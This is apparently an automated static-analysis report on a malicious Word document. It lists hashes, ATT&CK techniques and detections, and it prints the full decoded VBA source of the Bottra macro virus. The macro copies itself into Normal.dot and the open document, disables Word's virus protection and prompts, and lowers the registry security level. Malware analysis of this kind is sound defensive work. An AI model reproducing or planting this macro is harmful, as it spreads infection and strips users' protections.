Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fbeb8bc5b34aa0b8…

MALICIOUS

Office (OLE)

27.0 KB Created: 1997-07-07 09:37:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 9f0c5f32e1405f58ec9b452626796fc0 SHA-1: fc492d6c9b00ed11b6aee9dd62314ecc8d0cd900 SHA-256: fbeb8bc5b34aa0b840553423aab2752ca95f3c672b47e9f43d98168f38df0823
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious OLE document containing VBA macros, specifically a Document_Open macro. This macro writes its own code to a temporary file 'c:\tk.mxc', then attempts to inject this code into the Normal.dot template and the active document. It also modifies registry keys related to Word security settings. The presence of a Document_Open macro and the modification of templates strongly suggests an attempt to establish persistence or facilitate further execution, characteristic of a downloader or dropper malware.

Heuristics 3

  • ClamAV: Doc.Trojan.Bottra-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Bottra-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1477 bytes
SHA-256: 474c24900c4da254c338f05eded8e0a670faf8f233caffa0c4e22aa0e256270b
Detection
ClamAV: Doc.Trojan.Bottra-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Bottra
Private Sub Document_Open()
    On Error Resume Next
    Dim ThisDoc, NTmp As Object
    Dim MyCode As String
    Set ThisDoc = ThisDocument.VBProject.VBComponents.Item(1).CodeModule
    Set NTmp = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule
    Set ADoc = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
    
    TCode = NTmp.CountOfLines
    ACode = ADoc.CountOfLines
    
    MyCode = ThisDoc.Lines(1, ThisDoc.CountOfLines)
    Open "c:\tk.mxc" For Output As #1
        Print #1, "Attribute VB_Name=""ThisDocument"""
        Print #1, MyCode
    Close #1
    
    NTmp.DeleteLines 1, TCode
    NTmp.AddFromFile "c:\tk.mxc"
    
    ADoc.DeleteLines 1, ACode
    ADoc.AddFromFile "c:\tk.mxc"
    
    ActiveDocument.Saved = False
    If ActiveDocument.Saved = False Then ActiveDocument.Save
    
    ShowVisualBasicEditor = False 'CommandBars("Tools").Controls("Macro").Enabled = False
    Application.EnableCancelKey = wdCancelDisabled
    With Options: .SaveNormalPrompt = False: .VirusProtection = False: .SavePropertiesPrompt = False: End With
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\9.0\Word\Security", "Level") = 1
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.